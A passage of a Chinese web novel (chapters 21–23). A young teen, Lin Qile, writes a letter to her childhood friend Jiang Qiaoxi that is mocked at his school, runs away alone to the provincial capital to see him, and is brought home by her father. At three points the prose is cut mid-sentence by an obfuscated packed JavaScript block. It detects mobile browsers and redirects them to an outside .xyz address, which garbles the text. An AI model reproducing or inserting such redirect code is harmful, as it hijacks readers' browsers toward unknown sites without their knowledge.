“你还记得蒋莼鲈吗?”林其乐放下铅笔,打开了水彩笔盒,开始在信纸上涂画“蒋莼鲈”。 等画完了,她继续用铅笔往下写:“如果你忘了,就看一看她想起来。” 她作业写得一贯潦草,这封信却一笔一画,认真极了。林其乐写完了信,兴许还觉得不够,又用水彩笔在信纸周边画了一些星星、月亮,画小小的花瓣、可乐罐子、黑色手表,还有小兔子的头像,来点缀所有的空白。 不知蒋峤西什么时候能收到信,什么时候会给她回信。归根结底,林其乐根本不相信蔡方元他们说的:“蒋峤西现在和我们不太熟,真的说不上话!” 一个星期后,放学时间,林其乐正在家里百无聊赖地看《我为歌狂》,突然她家的电话铃响了。 林其乐拿起听筒,还以为是杜尚。 “林樱桃!”是个女孩的声音,让林其乐一愣,竟然是秦野云,“你疯了!你给蒋峤西写的什么信啊?” 21. 第 21 章 九岁那年,林其乐在上学路上看《淘气小亲亲》,她想,如果她要写情书给什么人,就只有唯一的人选。 她要写给那个对她好的人,关心和爱护她的人,而不是像入江直树那样,会令相原琴子成为笑柄的人。 “你为什么要给他写情书?你脑子里在想什么东西啊?”秦野云在电话里激动追问,分明不是她自己的事,她却气急败坏羞愤难当,“现在他们班全都在传阅你的信,你一共写了几张信纸啊?杜尚就抢了一张回来——” 林其乐说:“我没有写情书……” “还没有写情书?”秦野云吼道,“我在四班我都听说了,蒋峤西在工地和你有个女儿叫‘蒋纯卢’?是不是你写的,蒋纯卢?你怎么好意思——” 林其乐懵了。 刚刚进入青春期的孩子,每个毛孔都在抒发着对成人世界的无限渴望,还有刚刚萌芽出来的,幼嫩脆弱的自尊与羞耻心。就在秦野云对林其乐继续骂骂咧咧的时候,林其乐突然问:“蒋峤西呢?” “什么蒋峤西?” “我、我是给他写的信啊。”林其乐说。 秦野云气愤道:“我怎么知道!我去他们班里找人,结果他们班的人只会起哄,不告诉我蒋峤西在哪里!” 爸爸妈妈下班回来了。吃过晚饭,林其乐坐在自己小床上,抱住了波比小精灵发呆。她反复回忆秦野云说的话,还是不太明白,她在想要不要给杜尚打个电话,问问在他们学校究竟发生了什么事。 远在省城的一切,似乎正与林其乐的心事息息相关,却又完全不是她能想象的。 客厅电话忽然响了。 妈妈在门外接起电话,意外道:“是蔡经理啊!” 林其乐心中出现的一点点幻想,像肥皂泡一样破得不留痕迹。 “樱桃?樱桃在家啊。怎么了?” 妈妈问了几句,把听筒递给了林爸爸。这通电话讲了有二十多分钟。林其乐坐在她的蚊帐里,抱着膝盖不动,突然爸爸从外面推门进来。 “樱桃啊,”爸爸轻声问,“作业写了吗?” 爸爸以前从不问这种问题。林其乐回答:“还没有……” 爸爸点了点头,笑道:“写完了出来吃水果,你妈妈切了一大盘。” 门关上了,没有其余任何异样。 林其乐夜晚躺在床上,翻来覆去睡不着。她有一些悄悄话,是只想对蒋峤西一个人讲的,对余樵他们讲不出来,余樵惯会笑话她的各种想法,只有蒋峤西对她好。 秦野云在电话中说:“蒋峤西现在在学校见了我们就和不认识一样,你以为他还记得你?” 群山天色黯淡,林其乐从被窝里坐起来,看窗台那株万年青。芭比娃娃穿着华美的晚礼服,精心打扮,坐在林其乐的床头。 爸爸妈妈还没起床,林其乐穿着睡裙来到后院,她走到空荡荡、冷冰冰的兔笼旁,在台阶上坐下了。 林其乐仰头望向了灰暗的天空。 时间过去,天开始变亮了。林其乐梳好了两根马尾辫,吃了妈妈做的早饭,她穿好校服,背着书包,坐上了前往群山中学,也是前往群山市长途汽车站的巴士。林其乐攥住手里的压岁钱,她打定主意了。 § 长途汽车一路颠簸,从群山市前往省城,坐车要近七个钟头。林其乐买了一张靠窗位置的车票,她抱着书包,一个人坐在窗边。她望向外面深秋的田野,脑海中除了昨天秦野云的那通电话,就是和所有人分别一年多来,每天发生在她身边的事情。 她很孤独,除了学校,不知该去哪里。 “省城”这个陌生的名词,总在不知不觉间吸走林其乐身边美好的一切。从陈明昊哥哥、郑晓晨姐姐,到蒋峤西,到余樵、杜尚、蔡方元……她喜欢什么,“省城”就会带走什么了。 这班长途车上午十点在群山发车,林其乐买票的时候对售票员阿姨撒了个小谎,她说她爸爸在后面,还没到,她先来了,她想自己买票上车。 下午五点,车到达省城总站。林其乐跟在同车一位叔叔后面,假装女儿似的下了车。她对售票员阿姨挥手说再见。 过去,再怎么一次次在群山“历险”,和小伙伴深入大山丛林,林其乐也从未自己一个人跑来过省城这么遥远的地方。 她背着书包,在人群中边走边看,看周围拥堵的人流,看四面高至天际的摩天大厦。林其乐走到巴士站点旁仰起头看地图。 她手握零钱,挤上了一辆开往省实验附中的公交巴士。 也许很快就会见到蒋峤西了,还有余樵、杜尚、蔡方元他们,还有秦野云……林其乐靠近窗边,瞧省城陌生的街头。这就是蒋峤西从小长大的地方,是哥哥姐姐们,是余樵他们正在生活的城市。 林其乐也不知道省城的中学几点钟放学。巴士到站,她下车来。经过路边的服装店时,林其乐对着橱窗玻璃看了一会儿,看自己身上群山一中的红白色校服,校服洗得很干净,她摘下草莓头花,用手重新理了理长发,然后把两根马尾扎好。 林其乐比小学的时候高了,也瘦了,圆圆脸瘦出一个小下巴来,两只眼睛看起来更大。 几个学生,身穿蓝白色校服的,从林其乐背后走过,正说笑。 “蒋峤西以前还真去过乡下?我听说他小学是在香港上的啊,怎么又成乡下了——” “不是乡下,是个小城市,叫群山。” “蒋峤西小学一年级从香港转学过来的啦,一班费林格原先和他就是同学,你们问问他不就知道了!” “费林格知不知道那个叫林什么女的的事?” “当然不知道了!” “蒋峤西也太倒霉了吧,跟着家长去乡下念书,还要被那边的女的纠缠——” 林其乐在橱窗前望自己的脸,她红白色的校服胸前,印着“群山市第一中学”的字样。 身后走来的学生越来越多。 附近的中学看来已经放学。 “蒋峤西到底和岑小蔓有没有在一起?” “我听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236600|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说岑小蔓喜欢他很久了,但蒋峤西不喜欢她。” “不会吧,他们俩天天一块儿放学,看着可好了。” “反正我看蒋峤西对谁都不搭理,对岑小蔓也没有笑脸啊。” “他有笑脸也不会让你看见啊——” 林其乐逆过了放学的人潮,往这些同龄人来的方向走去。时不时就有笑声从她耳边擦过。 乡下、群山、蒋峤西、岑小蔓…… 林其乐到这时才稍微明白了一些,为什么秦野云昨天要那么激动给她打电话。 她似乎做了一件很不好的事情。 “一班班主任知道这事都急死了,今天上午专门把蒋峤西叫到办公室去——” “我听说岑小蔓课间还在女厕所哭,好多女生围着安慰她,不会蒋峤西真在乡下有什么‘女儿’吧?” “我们这么大不可能有女儿,那胡说八道你还真信啊。” “对啊,我刚刚放学路过一班门口,还看见岑小蔓在等蒋峤西收拾书包回家呢——” …… 省实验附中门口。 林其乐走到这所学校门外,眼前尽是正在放学的学生。他们有的嬉笑打闹,有的瞥一眼林其乐,瞧了瞧她身上的校服,接着视若无睹地走过。林其乐往校园里望,她看到比群山一中大一倍的塑胶跑道,还有跑道边的公用电话亭—— “余樵!等等我!” 一个男孩焦急跑过了林其乐身边,与她擦肩而过。 林其乐听见那个声音,先是一愣,她转过身,看那个疯跑着的男孩,那个背影,虽然穿着陌生校服,但林其乐一眼就认出他了。 杜尚却没有认出林其乐。他谁也不看,气喘吁吁,跑到了学校外面那条路上,往报刊亭的方向奔去。 十几个高个儿男生正围在那家报刊亭旁边,买水的买水,吃冰棍的吃冰棍,只有其中一个男生在打公用电话。 见杜尚过去了,他朝杜尚远远地伸出手,接过去一把零钱。 林其乐看他。 是余樵。 也许是周围陌生人实在太多,而余樵和杜尚,他们也穿着和陌生人一模一样的校服。林其乐想走过去,双脚却扎在原地。 “蒋峤西,班主任没说你什么吧?” 一个男生的声音从天而降,就近近贴在林其乐背后。 “后天就竞赛了,他总不能这时候再找你麻烦。” “刘老师没有找蒋峤西的麻烦,”接着是女孩的声音,轻轻的,听着很悦耳,“只是问了问那封信的事。” “有什么好问的,”头一个男生说,“那女的写信胡说八道,关蒋峤西什么事!” 一群人从林其乐身边走过去了,林其乐悄悄抬头看了一眼。 许多人围在那个男生身边,每个人都在说话,只有那个男生异常安静。他穿着和旁人一样的蓝白色校服,个头也长高了,比林其乐印象里高了很多,她都有点儿不认识了。 “蒋峤西……”林其乐不自觉叫出他的名字。 22. 第 22 章 林其乐根本没有想过,她冲动之下独自坐车来到省城,来见蒋峤西,这件事在旁人眼里意味着什么。 “蒋峤西……”林其乐叫出了他的名字。 也许是周围太吵,蒋峤西一时没听清她的声音,反而是他身边那几个男孩回过了头。 有个从刚才起就一直在讲话的,目光往林其乐身上一瞥。他大约又以为是什么要找蒋峤西说知心话的女同学,可瞧了一眼林其乐的打扮,再瞧林其乐的脸蛋。 这男生突然瞪大眼睛了,他盯着林其乐校服胸前的字,伸手一把拉住身边人,怪叫道:“群、群山市第一中学?” 林其乐站在原地,忽然间数道目光从周围投射过来。 “群山”这个词眼下在省实验附中正有名气。 那男生大喊大叫着,指着林其乐,转过身钻到了蒋峤西身边:“她、她她找上门来了——” “谁啊?”有路过的学生问。 “费林格,你说谁找上门啊?”有人问他。 也有人绕到林其乐对面,看了她一眼,回头窃窃私语道:“是那个给蒋峤西写信的!” “真的?” “她居然千里迢迢追到学校来了——” “天啊,”是女孩子压低的笑声,“疯了吧?” 林其乐双手握在自己背的书包带子上,她好像被丢入斗兽场里的羔羊。 是她自己硬要来的。 蒋峤西就站在那些人中,站在林其乐面前。虽然相隔了三五米的距离,林其乐也能看清楚他的眉眼,他的神情。蒋峤西长高了,高了很多,让林其乐只能仰望他。 明明周围那么吵,吵得林其乐心里发慌,蒋峤西身边的空气却安静,甚至有些死气沉沉的。 死气沉沉。林其乐不知为什么,总会在蒋峤西身上想起这个词。 蒋峤西穿了双黑色的球鞋。他明明告诉她,他不喜欢黑色。 这一刻,蒋峤西盯住了林其乐的脸,他那双画儿似的眼睛睁大了。两年不见,他有喉结了,喉结明显地吞咽。 费林格鼓起勇气走到林其乐面前,声色俱厉道:“你、你就是林其乐?” 他声音太大,林其乐不自觉后退了一步。 “不管你想来干什么!”费林格趾高气扬的,“能不能别再给蒋峤西添乱了——” “岑小蔓!”有女生在街对面喊,“蒋峤西妈妈的车来了,你们还不走啊?” 那个和蒋峤西一起放学的女孩,叫岑小蔓。她抬起眼看了林其乐,好像也被这场面弄得不知所措。她伸手拉了一下蒋峤西的校服袖子:“我们走吧,要是被梁阿姨看到了……一会儿竞赛老师就等急了……” 林其乐缩起肩膀,向后退。 围聚在她身边的省城实验附中的学生见状连忙让开了,林其乐从这些看热闹的人中间走了出去,她背着书包,不知是想躲还是想逃。 “樱桃?”先是杜尚的声音。 “林樱桃!”余樵从远处忽然大喝了一声。 林其乐原本还走着,一听见身后有人喊她的名字,她抬起胳膊来一抹眼睛,更慌不择路了。 § 省城的天逐渐黑下来。 林其乐跑得气喘吁吁,书包带都滑下了肩膀。街边的冰淇淋店正在播放动画电影《海底总动员》,小丑鱼玛林和蓝唐王鱼多莉,正在汪洋大海中寻找儿子尼莫。 林其乐站在店门口,张着嘴巴,愣愣地仰头看了一会儿。 她很累,她在店门前的台阶上坐下了。 面前是来来往往的行人,男人女人,老人孩子,无论穿着打扮、腔调做派,都与群山市大不相同。林其乐睁着眼睛,她眼圈红红的,是早就哭过,她不肯再哭了。 蒋峤西好像不认识她了。林其乐低下头,在路灯下看自己脚上的小红鞋。从四年级到六年级,蒋峤西在林其乐身边待了两年,蒋峤西转回省城来,差不多又是两年过去。 两年好长,林其乐想。 本来就是什么都会改变的。 “樱桃!”一个熟悉的声音突然从背后喊道。 林其乐愣了愣,一时间不敢转头。对方焦急地又喊:“樱桃!” 林樱桃站起来了,她惨兮兮背着书包,一双大眼睛看清了来人的脸,她眼里顿时就模糊起来。 “爸爸……”林樱桃张大嘴巴,大哭出声了。 穿着深蓝色工作服的林电工飞快到了跟前,蹲下身一把把女儿抱起来。 § 余樵妈妈邹阿姨打开家门,热情招呼林樱桃和林电工进去。余班长走在林樱桃身后,两只大手捂在闺女哭红了的脸蛋上。 一进门,余班长便喊:“余樵,过来给你林叔叔找双拖鞋穿!” 林电工明显是上班中途急急忙忙从群山赶到省城来的。他穿着身工作服,脖子上还挂着工牌,裤袋里塞着劳保手套。见余樵过来,林电工感慨道:“余樵啊,才一年不见,长这么高了啊!” “林叔叔好!”另一个小男孩也过来了,奶声奶气的。 林电工低头换上了拖鞋,伸手摸余锦的一头软毛,笑道:“我们余锦也长高了!” 邹阿姨在厨房炒着菜,说:“樱桃!放下书包先去吃饭!” 林其乐还呆呆站在门边,小声说:“哦……” 林电工走进了客厅,想借用余家的电话给远在群山的媳妇儿报个平安。林其乐脱掉她的小红鞋,没有拖鞋穿,只好穿着袜子跟余樵走进了他的卧室。 “你随便放吧。”余樵还穿着省实验附中那件蓝白色的校服裤子,上半身是件篮球背心。他看着林其乐把脏兮兮蹭了灰的书包搁到地板上。 余樵低头瞅她,林其乐这会儿也红着眼抬头看他了。 外面客厅里,大人们吵吵闹闹,小孩子关上门也就听不见了。 余樵眉头微皱,轻声问:“你来干什么啊?” 林其乐说话还带哭腔,她看余樵,嘴硬道:“你是谁啊?” 余樵忽然就抬脚踢她。 林其乐下意识躲开,她笑起来。 邹阿姨在外面喊:“余樵!樱桃!杜尚来了!来来来,杜尚进来!樱桃在呢,你一块儿在这吃饭吧?” 林其乐站到余樵卧室门口,看见杜尚从门外进来了。杜尚也穿着实验附中的校服,他一张脸满是汗,头发乱糟糟的,看样子是拼命跑过来的。一看见林其乐,杜尚喘着粗气,咧嘴就笑了。 余樵家搬来了省城,虽说比在群山工地时宽敞了许多,可一家人围在一张桌子边吃饭,到底还是拥挤。余叔叔不停问林樱桃,到底是怎么自己一个人买票跑到省城来的:“好家伙!人不大,胆子不小!你想吓死你叔叔!” 旁边邹阿姨说,樱桃以前胆子就很大呀,和余樵、杜尚,还有蔡方元他们几个,天上地下到处乱跑。 所有人都嘻嘻哈哈的,林其乐低头含着米饭,眼睛被米饭的热气熏得难受。 没有一个人追问林其乐这趟跑来省城究竟是为了什么。吃完饭收拾桌子时,余叔叔从背后走过,两只大手忽然又捂她的脸蛋。“樱桃,”他嘿嘿笑着,像小时候逗弄她,“想叔叔吧?” 林樱桃抬起头看他,叔叔的手布满老茧,她小声说:“可想了……” 邹阿姨在厨房刷碗,叫林樱桃过去。“樱桃,你今天跟着我,一块儿睡余樵那屋,”她笑着安排,“让,余锦和你叔叔一块儿睡,让你爸睡余锦那个小床,让余樵去客厅睡沙发!” 林樱桃撸起袖子,要帮阿姨洗碗,阿姨递给她一块干净抹布。 “哎呀,还得回去上学,真舍不得樱桃走,”邹阿姨端详她的脸,笑着,“瘦了,看着小脸瘦了。” “下次啊,找个放寒暑假的时候来!和你爸爸妈妈一起,都来!阿姨带你出去玩玩,在家也多住几天!” 林其乐是翘课过来的,没上学,自然也没什么作业可写。余樵和杜尚两个人吃完了饭,在卧室里你抄我,我抄你,凑凑合合写作业。 林其乐百无聊赖,趴在余樵床上翻看他的体育杂志,也看不懂,没翻两页就被余樵拉过去帮他写语文作业了。 晚上九点钟,蔡方元也来了。 他上了一整晚的竞赛补习班,上得头昏眼花,和余叔叔林叔叔邹阿姨他们打过了招呼,蔡方元也进余樵卧室里来。 一见林其乐他就笑了:“林樱桃,我算是服了你了,你这回可算是在咱们全省的竞赛班里出名了——” 杜尚忽然咳嗽起来,因为咳得很不自然,像是哮喘。 林樱桃不听蔡方元说话,低头继续在余樵的语文作业本上胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236601|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 编乱造。 等到作业都写完了,余樵妈妈从外面端了新炸的虾片和酥肉进来,给几个孩子当宵夜吃。 林其乐坐在床边,翻看余樵的成绩单。 “樱桃,”杜尚如今也长高了不少,眉眼都长开了,他坐在林其乐身边,“咱们可一年没见了。” 蔡方元坐在对面,往嘴里塞炸酥肉:“我怎么看着你也没变样啊。” 余樵从林其乐手里抢回了他的成绩单,不耐烦道:“有什么好看的。” 林其乐看到余樵考了全年级第七十二名,她问:“你们年级一共有多少人啊?” 蔡方元说:“五百多个人。” 林其乐不由得“哇”出了声。 她发现余樵脸上不咸不淡的,考这个名次,也没什么骄傲样子。 蔡方元瞅林其乐那神情,突然说:“蒋峤西这回又考年级第一。” 杜尚那哮喘又快犯了,喝着可乐,差点呛着。 蔡方元直接告诉林其乐:“我今天跟他一块儿回来的。” 见林其乐坐在床边,也不说话,蔡方元说:“我也不知道为什么。平时他都跟费林格、岑小蔓他们一块儿回家,今天不知怎么了,一下课他把我叫上了。” 炸酥肉就剩了最后一块了,林其乐眼睛红红的,瞪着余樵把那块儿酥肉吞进了嘴里。 杜尚从旁边不开心道:“那他也不过来看看啊,樱桃好不容易来了。” 蔡方元说:“看什么啊,坐的他爸司机的车,他妈就在车上,和瘟神一样,一路上愣是一句话没敢说。” 林其乐和余樵争夺剩下的炸虾片。蔡方元则和杜尚有一搭没一搭地说着话。蔡方元说,蒋峤西他妈忒恐怖了。蔡方元和他家住得近,都在干部楼,刚转学过来那时候,有天半夜,蒋峤西妈妈突然把蒋峤西的奥数书都给撕了,打开了窗户往外扔,闹得前楼后楼都能听见。 “撕书?”杜尚是第一次听蔡方元提起这个,“为什么啊?” 蔡方元欲言又止了,他抬起眼,看了林其乐一眼。 余樵刚把最后一块炸虾片让给林其乐。林其乐鼓着腮帮子吃得咯吱咯吱直响,好像什么都没听见。 蔡方元坐了半个钟头就走了,他如今长大了,也不像从前,总爱和林樱桃打架。杜尚也得回家去,他对林樱桃说,他好几次梦见了群山,梦见工地:“我听余叔叔说,咱工地都拆了?真都拆了吗樱桃?” “都拆了她家住哪儿。”余樵从后面推他肩膀,像是这话题进行下去,又会没完没了。 伙伴们走了以后,林樱桃独自去卫生间刷牙。余樵过了一会儿进来了,也拿牙刷,把林樱桃挤到一边。 余樵咬着牙刷说:“你那兔子什么时候死的?” 林樱桃一怔,从镜子里看他。 她没有把这件事告诉过蒋峤西以外的人。但很明显,那封信里写了什么,是包括余樵在内,几乎所有人都知道的。 大家都笑话她。 林樱桃刷完牙,漱口。她闷头洗脸,脸上还有水,她睁开眼睛对余樵说:“刚上初一的时候。” 余樵看到林樱桃说着话,嘴角又要下垂,又想上扬。 “你笑什么。”余樵皱眉道。 “那我也不能哭吧。”林樱桃对他做了个鬼脸,带着点鼻音说。 余樵抱了个枕头,今晚不得不去沙发对付一宿。林其乐抹干净脸,也准备去睡觉了。 路过厨房门口的时候,她透着门缝,听到了大人们在里头说话喝酒的声音。 “从来都是老实人吃亏,”余叔叔掸着烟灰,和许久未见的老伙计道,“当初都不叫你留,也不该你留,调令都要下去了,你说你,耳根子怎么那软啊?” 林电工光笑。 “别人媳妇儿怀孕,别人家老人生病,你闺女呢,你家人呢?”余班长念叨着,嘬了口烟,他沉默片刻,“把自己该做的做好,你就够了,拿一份普通职工工资,你不欠谁的。” 邹阿姨这时在旁边应和道:“反正你们房子也办下来了!等工地一结束,你们一家三口就赶紧过来——” 还没等林电工开口,余班长马上接道:“到时候,你们两口子我告诉你,爱来不来,樱桃必须过来,大不了住校呢!高中你不能再让她在群山那么糊弄了!” 23. 第 23 章 小学毕业那年,林其乐经常在日记里记录自己做过的噩梦。 她的小兔子死了,朋友们都走了,她自己上学,自己放学,群山工地要被拆掉了…… 2004年的新年夜,林其乐从噩梦中忽然惊醒。 她坐起来,眼睛睁大了,她又梦到了省城实验附中,梦到那么多人的面孔。 林其乐感到困惑:为什么呢? 从小,她生活在工地上,生活在电厂小学和爸爸妈妈的庇护之下。 也许人长大了,走出家门,夜里的噩梦也就随之变大了,随之走出了群山,到了更广阔的,林其乐从未感受过的天地里。 从省城回群山以后,林其乐的日子很是不平静了一阵。因为连续两天旷课,哪怕有林爸爸百般求情,群山一中的老师还是给了她警告处分,通报全校。林其乐站在办公室里低头挨批评,她两天不在学校,两天班级信箱中塞满了信件,十有九封是全国各地《漫画Party》的小读者寄给“宇宙超级无敌小飞侠林其乐”的交友信。 现在这些信全都堆在班主任的办公桌上,像一堆毫无意义的纸垃圾。 “你现在的目标是好好学习!都已经初二了,林其乐,你看看你的成绩,比入校时落后了多少?你已经垫底了啊!你再看看别的学生,谁不是在用功学习?你还去省实验附中,人家实验附中的学生哪个不是在好好学习?谁有那个闲功夫理你!还交朋友,还写交友信!” 班主任将手里一沓信摔在办公桌上,她瞪住了林其乐。 林其乐一直低着脑袋,也不讲话,突然一吸鼻子,她是哭了。 班主任有些无奈。这个一贯不好好学习的小女孩,谁都不知道她每天脑子里在想什么。 “你年纪还小,”班主任看着林其乐,语重心长道,“老师告诉你,人生路很长,在这么小的年纪里,你交到的朋友以后基本都会分开的。只有好好学习才是你的正途,才会给你真正有意义、有价值的未来,你自己好好想想吧!” 林其乐坐回到自己的书桌前,拧开了台灯,她拆下最新一期《漫画Party》的读者回执单,手握自动铅笔在上面写道:“对不起,我是群山市第一中学的林其乐,我收到了很多小朋友寄给我的信,但老师说等初中毕业才会把信还给我,谢谢小朋友们给我写信,对不起,我无法和你们做笔友了……” 她不知道,会不会有人像她当初期待蒋峤西的回信一样期待她的回音。 林其乐又打开抽屉,从里面找出一张信纸来,铺在桌面上。 她在上面写: 蒋峤西,我没有给你写情书。上一封不是情书,这一封也不是。只是我很久没见到你了,杜尚他们会给我打电话,你不打,所以我才写信给你。我不是他们说的那样的人,我不喜欢你,我也没缠着你,蒋莼鲈和你也没有什么关系,我只是画给你看一看而已。 林其乐又忍不住哭了,她一个字一个字写得极慢,又写道: “我去省城不是找你,是找余樵和杜尚他们,正好碰到你了。我以后也不给你写信不给你打电话了,不会影响你的学习。” 林其乐本以为,她会很快就接到杜尚或是秦野云的一通电话。他们会在电话中说,林樱桃,我们都看了你给蒋峤西写的信啦,你没有给他写情书,你也没有缠着他,你也没有耽误他的学习。 可一个月过去,两个月过去了……没有任何事情发生。林其乐在杜尚打来电话时随口问了一句,杜尚愣了愣:“蒋峤西?我不知道。费林格他们最近都不拆蒋峤西课桌里的信了,”杜尚这时后知后觉反应过来,“樱桃,你不会又给他写信了吧?” 林樱桃说:“没有我没有写。” § 爸爸妈妈并没有就林樱桃的“省城之旅”特别批评她什么。爸爸只是攥着她的手说,以后不要再自己跑去那么远的地方。 “你还小,爸爸妈妈什么都不知道,省城那么大,找到你以前,急得饭都吃不下……以后你想去什么地方,或是你遇到了什么困难,樱桃,你要给爸爸妈妈说。不然爸爸妈妈怎么帮助你,怎么给你想主意呢。你还这么小,谁是你的依靠呢?” 妈妈则在一天洗衣服的时候,趁着洗衣机嗡嗡震动的间隙,坐在后院的台阶上。她突然和林樱桃讲起了自己和林电工在工地上相识、相爱的故事。 “那时候就是同事,”妈妈抱着女儿,樱桃已经长大了,长高了,不像小的时候那么容易抱了,“我就没想过要嫁给他!” 林樱桃把额头贴在妈妈胸口,妈妈的身体温暖极了。 “有的时候,朋友之间在一起待久了,就容易混淆这到底是友情,还是‘爱情’。”妈妈突然提到的这个词,让林樱桃身体一僵。 “有时候,看到一个人,那么的特别,与众不同,就像在一群雪白的小兔子里突然看到一只黑的,”妈妈说,“这种新鲜的感觉,也常常被人当成是‘爱情’。” “妈妈,”林樱桃睁大了眼睛,问,“我和蒋峤西之间,不是‘爱情’吗?” 妈妈看着她。 林樱桃说:“我和他在一块儿就很开心,不在一块儿我就总想他,我想和他结婚,和他住在一起,这不是‘爱情’吗?” “樱桃,”妈妈笑了,“你还太小了。” “你以前还说过,你要和余樵,和陈明昊,和你表哥,还有你爸爸结婚。”妈妈笑道。 “啊?”林樱桃彻底懵了。 “你都忘了吗?”妈妈笑着问她。 人喜欢一个人,有一万种喜欢的方法。有的出自亲情,有的出自友情,有的源自于共同经历的冒险,惊险刺激,快乐得叫人难忘,也有的出自感激,出自共同的爱好,出自一段时间的陪伴……所以人和人才会相聚在一起。而只有幼儿园的小朋友,才会动不动用“结婚”来诠释一切。 “所以……我其实不一定‘喜欢’蒋峤西?”林樱桃问。 妈妈瞧着女儿的脸。从蒋经理的儿子转学回省城以后,从余樵、杜尚他们全都搬走以后,从群山工地逐渐开始拆迁,樱桃所有的情绪低落她都看在眼里。 樱桃正在长大,正遇到一些成长道路上的挫折。而这是难免的。 “我们人的感情,就像是水,”妈妈握着樱桃的手,把她的小手心展开了,后院上空的天色正逐渐转暗,“一滴水落到你的手心里,你分不清它是露水,还是雨水。只有等你长大了,变成见多识广的大人了,你才会慢慢看出来。” “妈妈,我现在还没有长大吗?” “你还小呢。你承认自己还小吗?” 2004年四月份,从北京又传出非典的消息来了。林樱桃在爸爸妈妈的陪伴下过生日,她年满十四周岁了。 她在群山给北京的大姑家打电话,她说想去北京看望大姑,看姑父和表哥。 大姑乐不可支:“你这个小姑娘不得了了,以前自己一个人往省城跑,现在还要跑到北京来!” 林樱桃说:“我不会自己去的,我和爸爸妈妈一起。” 大姑说:“小丫头片子,不知道外头多危险。北京现在又闹病呢,别来!” 那一年的暑假,爸爸妈妈在工地上班,林樱桃独自一个人在家。没有小朋友来找她玩,她便和波比小精灵说话。她给芭比娃娃和万年青布置了一场婚礼,婚礼很豪华,从早办到晚才停。林樱桃坐在竹席上吹竖笛给这对新人庆贺,她只会吹《两只老虎》,倒也很喜庆。 暑假作业很快就写完了。林樱桃打开电脑,想消磨时间,可几乎每个游戏里都存着蒋峤西留下的存档,榜单上都有蒋峤西打下的分数。她尝试玩了几次,一直刷不掉他的名字。她干脆把电脑关上了。 假期才刚过一个礼拜,林樱桃便主动报了一个补习班。她对爸爸妈妈说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236602|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她要好好学习了。 § 同桌耿晓青还时常缠着林樱桃问那些男孩子的事:余樵、杜尚、蔡方元……特别是余樵的故事,她总是很想听。 林樱桃却在专心做题,课间也不被她干扰。 只有体育课的时候,她才有时间给耿晓青讲上几句。其实已经没有多少关于余樵的事情可讲了,讲了三年,有多少故事都要讲完了。 耿晓青抱着排球说:“樱桃,你是不是要去省城上高中?” 林樱桃说:“我不知道。” “那你知道,余樵他会上哪所高中吗?”耿晓青问。 林樱桃摇头。 耿晓青说:“我爸爸妈妈同意我搬家去省城了!” 林樱桃迟钝道:“啊?” 耿晓青兴奋点头:“不过我不会现在就去,我高中才去!” 林樱桃低下头。 对于“省城”这个词,她现在已经不那么畏惧了。 “到时候我给余樵打电话,要是你们在一所学校就好了!”林樱桃说。 耿晓青问,樱桃,你有喜欢的男生吗? 林樱桃上完了体育课,在水管下面低头洗脸。她摇头,要回教室去继续做题。 耿晓青纳闷道:“你怎么变得只知道学习了?” 2004年底,林樱桃向学校请了三天假。她跟随爸爸妈妈回了一趟老家。 大姑一家也从北京匆匆赶过来。 十四岁,林樱桃第一次参加葬礼。 她的爷爷去世了。 老家的人说,林老爷子一生平安顺遂,子女都很孝顺,也没什么大病大痛的,这是喜丧。可林樱桃不明白,人去世了,再也见不到面了,哪来的喜呢? 林电工并没有表现出特别大的悲痛。在林樱桃的记忆里,爸爸似乎总是那个稳重的,温和的人,任何对林樱桃来说如同天塌下来的灾难,对爸爸来说都不算什么。 反倒是大姑,情绪一直激动,在灵堂里一直哭,说儿女在外工作,委屈着爸爸了。家人陪伴她,林电工这个做弟弟的安慰着她。在灵前跪着的时候,姐弟俩也一直在一块儿。 从老家回群山的火车上,林电工突然对林樱桃说。 “爸爸是没有爸爸妈妈的人了,”林电工握住了樱桃的手,说,“樱桃还小,还有很多幸福……爸爸能一直照顾你……” 窗外风景被疾驰的火车飞速甩到了身后,不给人们任何停留和喘息的机会,林樱桃甚至没有完全听清爸爸这句话。 爸爸说,人活着,就像蚕,像蛇,像螃蟹,到了时候,就必须开始蜕壳了。只有把一些东西放下,忘却,才能轻装上阵,继续更好地生活。 林其乐想,就没有人是不用蜕壳的吗?她坐在课堂上,看生物课本里琥珀标本的照片。 那只千万年前的昆虫,被淡黄色的树脂紧紧包裹在中央。 如果人不蜕壳,就不会飞起来。如果死守在原地,人就会像这只虫子,慢慢窒息而死。 人应该是流动的,人的情感也应该是流动的,像生生不息的活水,一点一滴滋养人的灵魂。 